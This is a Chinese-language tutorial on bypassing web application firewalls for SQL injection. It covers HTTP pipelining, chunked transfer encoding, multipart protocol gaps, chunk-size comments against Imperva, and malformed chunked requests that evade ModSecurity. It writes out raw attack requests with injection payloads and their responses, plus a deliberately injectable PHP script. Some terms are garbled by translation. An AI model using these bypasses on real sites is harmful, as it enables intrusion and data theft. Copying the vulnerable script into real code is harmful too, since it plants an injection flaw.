0x00 原理
給服務器發送payload數據包,使得waf無法識別出payload,當apache,tomcat等web容器能正常解析其內容。如圖一所示
0x02 實驗環境
本機win10+xampp+某狗web應用防火牆最新版。為方便演示,存在sql注入的腳本中使用$_REQUEST["id"]來接收get,或者post提交的數據。waf配置為攔截url和post的and or 注入,如圖所示:
發送get請求或利用hackbar插件發送post請求payload均被攔截,如圖所示:
0x03 繞過WAF方法
一· 利用pipline繞過[該方法經測試會被某狗攔截]
原理:
http協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即我們用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為close,apache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。
1. 關閉burp的Repeater的Content-Length自動更新,如圖四所示,點擊紅圈的Repeater在下拉選項中取消update Content-Length選中。這一步至關重要!!!
2. burp截獲post提交
id=1 and 1=1
,顯示被waf攔截如圖五所示。
3. 復制圖五中的數據包黏貼到
id=1 and 1=1
后面如圖六所示。
4. 接着修改第一個數據包的數據部分,即將
id=1+and+1%3D1
修改為正常內容id=1,再將數據包的Content-Length的值設置為修改后的【id=1】的字符長度即4,最后將Connection字段值設為keep-alive。提交后如圖七所示,會返回兩個響應包,分別對應兩個請求。
注意:從結果看,第一個正常數據包返回了正確內容,第二個包含有效載荷的數據包被某狗waf攔截,說明兩數據包都能到達服務器,在面對其他waf時有可能可以繞過。無論如何這仍是一種可學習了解的繞過方法,且可以和接下來的方法進行組合使用繞過。
二.利用分塊編碼傳輸繞過[該方法可繞某狗]
id=1 and 1=1
id=1 and 1=2
三.利用協議未覆蓋進行繞過[同樣會被某狗攔截]
原理:
HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三種,其中multipart/form-data表示數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當waf沒有規則匹配該協議傳輸的數據時可被繞過。
1.將頭部Content-Type改為multipart/form-data; boundary=69 然后設置分割符內的Content-Disposition的name為要傳參數的名稱。數據部分則放在分割結束符上一行。
由於是正常數據提交,所以從圖十可知數據是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規則攔截這種方式提交的數據包,那么同樣能繞過。
2.一般繞waf往往需要多種方式結合使用,如圖十的示例中,只需將數據部分1 and 1=1用一個小數點”.”當作連接符即1.and 1=1就可以起到繞過作用。當然,這只是用小數點當連接符所起的作用而已。如圖十一所示。
四.分塊編碼+協議未覆蓋組合繞過
長度值 空行 Content-Disposition: name="id" 空行
長度值 空行 數據
長度值 空行 分割結束符 空行
0 空行 空行
0x04 繞過WAF技巧
一、技巧1:使用注釋擾亂分塊數據包
一些如Imperva,360等比較好的WAF已經對傳輸編碼的分塊傳輸做了處理,可以把分塊組合成完整的HTTP數據包,這時直接使用常規的分塊傳輸方法嘗試繞過的話,會被WAF直接識別並阻斷。
我們可以在[RFC7230]中查看到有關分塊傳輸的定義規范。
Chunked Transfer Coding: The chunked transfer coding wraps the payload body
in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing header fields. Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message. chunked-body = *chunk last-chunk trailer-part CRLF chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-size = 1*HEXDIG last-chunk = 1*("0") [ chunk-ext ] CRLF chunk-data = 1*OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of the chunk-data in octets. The chunked transfer coding is complete when a chunk with a chunk-size of zero is received, possibly followed by a trailer, andfinally terminated by an empty line. A recipient MUST be able to parse and decode the chunked transfer coding. Chunk Extensions: The chunked encoding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size. chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token / quoted-string The chunked encoding is specific to each connection andis likely to be removed or recoded by each recipient (including intermediaries) before any higher-level application would have a chance to inspect the extensions. Hence, use of chunk extensions is generally limited
通過閱讀規范發現分塊傳輸可以在長度標識處加上分號“;”作為注釋,如:
9;kkkkk 1234567=1 4;ooo=222 2345 0 (兩個換行)
幾乎所有可以識別傳輸編碼數據包的WAF,都沒有處理分塊數據包中長度標識處的注釋,導致在分塊數據包中加入注釋的話,WAF就識別不出這個數據包了。
現在我們在使用了Imperva的應用防火牆的網站測試常規的分塊傳輸數據包:
POST /xxxxxx.jsp HTTP/1.1 ...... Transfer-Encoding: Chunked 9 xxxxxxxxx 9 xx=xxxxxx 9 xxxxxxxxx 1 d 9 &a=1 and 3 2=2 0 (兩個換行)
返回的結果如下圖所示。
可以看到我們的攻擊有效載荷“和2 = 2”被Imperva的WAF攔截了。
這時我們將分塊傳輸數據包加入注釋符。
POST /xxxxxx.jsp HTTP/1.1 ...... Transfer-Encoding: Chunked 9 xxxxxxxxx 9 xx=xxxxxx 9 xxxxxxxxx 1;testsdasdsad d 9;test &a=1 and 3;test44444 2=2 0 (兩個換行)
返回的結果如下圖所示。
可以看到Imperva的已經不攔截這個負荷了。
二、技巧2:繞過ModSecurity
眾所周知的ModSecurity是加載在中間件上的插件,所以不需要理會解析HTTP數據包的問題,因為中間件已經幫它處理完了,那么無論使用常規的分塊還是加了注釋的分塊數據包,ModSecurity的都能直接獲取到完整的HTTP數據包然后匹配危險關鍵字,所以一些基於ModSecurity的做的WAF產品難道就不受影響嗎?
接下來我們在apache+ ModSecurity的環境做測試。
sql.php代碼如下:
<?php ini_set("display_errors", "On"); error_reporting(E_ALL); $con = mysql_connect("localhost","root",""); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $id = $_REQUEST["id"]; $sql = "select * from user where id=$id"; $result = mysql_query($sql,$con); while($row = mysql_fetch_array($result)) { echo $row['name'] . " " . $row['password']."n"; } mysql_close($con); print"========GET==========n"; print_r($_GET); print"========POST==========n"; print_r($_POST); ?><ahref="sqli.php?id=1"> sdfsdf </a>
ModSecurity的加載的規則攔截了請求包中的關鍵字“聯盟”。
下面我們的請求和返回結果如下:
請求: http://10.10.10.10/sql.php?id=2%20union 返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /sql.php was not found on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html>
可以看到我們的“聯盟”關鍵字被攔截了。
接下來我們傳輸一個畸形的分塊數據包看看。
請求: POST /sql.php?id=2%20union HTTP/1.1 ...... Transfer-Encoding: chunked 1 aa 0 (兩個換行) 返回:
<title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> ========GET========== Array ( [id] => 2 union ) ========POST========== Array ( )
可以看到雖然apache的報錯了,但是因為apache的容錯很強,所以我們提交的參數依然傳到了PHP中,而我們的ModSecurity的並沒有處理400錯誤的數據包,最終繞過了ModSecurity的。
接下來我們把的ModSecurity的規則改為過濾返回數據中包含的“根”的字符串,然后在sql.php腳本中加入打印“根”關鍵字的代碼。
接着我們做如下測試:
請求: http:
//10.10.10.10/sql.php?id=1
返回:
<html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /sql.php on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html>
因為sql.php腳本中返回了帶有“根”的關鍵字,所以直接就被ModSecurity的攔截了。這時我們改為發送畸形的分塊數據包。
請求: POST /sql.php?id=
HTTP/1.1 Host: 10.10.10.10 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 16 3 123 1 0 (兩個換行)
返回:
<html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> root 123456 ========GET========== Array ( [id] => 1 ) ========POST========== Array ( )
通過兩個測試可以發現使用畸形的分塊數據包可以直接繞過的ModSecurity的檢測。這個問題我們在2017年4月已提交給了ModSecurity官方,但是因為種種問題目前依然未修復。